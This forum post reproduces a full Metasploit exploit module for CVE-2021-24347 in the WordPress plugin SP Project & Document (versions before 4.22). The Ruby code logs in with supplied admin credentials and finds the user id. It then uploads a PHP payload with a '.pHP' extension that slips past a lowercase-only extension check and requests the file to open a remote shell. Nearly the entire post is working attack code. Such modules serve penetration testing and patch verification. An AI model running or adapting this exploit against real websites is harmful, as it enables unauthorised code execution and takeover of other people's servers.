WordPress SP Project And Document Remote Code Execution

#325
Topic created · 1 Posts · 2 Views
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    class MetasploitModule < Msf::Exploit::Remote
     Rank = ExcellentRanking
    
     include Msf::Exploit::Remote::HttpClient
     prepend Msf::Exploit::Remote::AutoCheck
     include Msf::Exploit::CmdStager
     include Msf::Exploit::Remote::HTTP::Wordpress
     include Msf::Exploit::FileDropper
    
     def initialize(info = {})
     super(
     update\_info(
     info,
     'Name' => 'Wordpress Plugin SP Project and Document - Authenticated Remote Code Execution',
     'Description' => %q{
     This module allows an attacker with a privileged Wordpress account to launch a reverse shell
     due to an arbitrary file upload vulnerability in Wordpress plugin SP Project & Document < 4.22.
     The security check only searches for lowercase file extensions such as `.php`, making it possible to upload `.pHP` files for instance.
     Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/sp-client-document-manager/<user\_id>/<random\_payload\_name>.php`
     },
     'License' => MSF\_LICENSE,
     'Author' =>
     [
     'Ron Jost', # Exploit-db
     'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
     ],
     'References' =>
     [
     ['EDB', '50115'],
     ['CVE', '2021-24347']
     ],
     'Platform' => ['php'],
     'Arch' => ARCH\_PHP,
     'Targets' =>
     [
     ['Wordpress SP Project & Document < 4.22', {}]
     ],
     'Privileged' => false,
     'DisclosureDate' => '2021-06-14',
     'Notes' =>
     {
     'Stability' => [CRASH\_SAFE],
     'SideEffects' => [ARTIFACTS\_ON\_DISK, IOC\_IN\_LOGS],
     'Reliability' => [REPEATABLE\_SESSION]
     }
     )
     )
    
     register\_options [
     OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
     OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
     OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
     ]
     end
    
     def check
     return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress\_and\_online?
    
     cookie = wordpress\_login(datastore['USERNAME'], datastore['PASSWORD'])
     if cookie
     check\_plugin\_version\_from\_readme('sp-client-document-manager', '4.22')
     else
     CheckCode::Detected('The admin credentials given are wrong !')
     end
     end
    
     def get\_user\_id(cookie)
     r = send\_request\_cgi({
     'method' => 'GET',
     'cookie' => cookie,
     'uri' => normalize\_uri(target\_uri.path, 'wp-admin/admin.php'),
     'Referer' => full\_uri('/wp-admin/users.php'),
     'vars\_get' => {
     'page' => 'sp-client-document-manager-fileview'
     }
     })
     fail\_with(Failure::Unknown, "Target #{RHOST} could not be reached.") unless r
     user\_id = r.body.to\_s.match(%r{<option value='(\d+)'>#{datastore['USERNAME']}</option>})
     fail\_with(Failure::UnexpectedReply, "Can't find user id on plugin page") unless user\_id && user\_id[1]
     user\_id[1]
     end
    
     def exploit
     cookie = wordpress\_login(datastore['USERNAME'], datastore['PASSWORD'])
     fail\_with(Failure::NoAccess, 'Authentication failed') unless cookie
     user\_id = get\_user\_id(cookie)
     payload\_name = "#{Rex::Text.rand\_text\_alpha\_lower(5)}.pHP"
     post\_data = Rex::MIME::Message.new
     post\_data.add\_part(Rex::Text.rand\_text\_alpha(5..8), nil, nil, "form-data; name='cdm\_upload\_file\_field'")
     post\_data.add\_part("/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=#{user\_id}", nil, nil, "form-data; name='\_wp\_http\_referer'")
     post\_data.add\_part('exploits', nil, nil, "form-data; name='dlg-upload-name'")
     post\_data.add\_part('', 'application/octet-stream', nil, "form-data; name='dlg-upload-file[]'; filename=''")
     post\_data.add\_part(payload.encoded, 'application/x-php', nil, "form-data; name='dlg-upload-file[]'; filename='#{payload\_name}'")
     post\_data.add\_part('', nil, nil, "form-data; name='dlg-upload-notes'")
     post\_data.add\_part('Upload', nil, nil, "form-data; name='sp-cdm-community-upload'")
    
     print\_status("Uploading file \'#{payload\_name}\' containing the payload...")
    
     r = send\_request\_cgi(
     'method' => 'POST',
     'uri' => normalize\_uri(target\_uri.path, 'wp-admin/admin.php'),
     'headers' => {
     'Origin' => full\_uri(''),
     'Referer' => full\_uri('wp-admin/admin.php')
     },
     'vars\_get' => {
     'page' => 'sp-client-document-manager-fileview',
     'id' => user\_id
     },
     'cookie' => cookie,
     'data' => post\_data.to\_s,
     'ctype' => "multipart/form-data; boundary=#{post\_data.bound}"
     )
    
     fail\_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 302
     register\_files\_for\_cleanup(payload\_name.downcase)
    
     print\_status('Triggering the payload ...')
    
     send\_request\_cgi(
     'method' => 'GET',
     'cookie' => cookie,
     'uri' => normalize\_uri(target\_uri.path, "/wp-content/uploads/sp-client-document-manager/#{user\_id}/#{payload\_name.downcase}")
     )
     end
    end
    
    
Log in to reply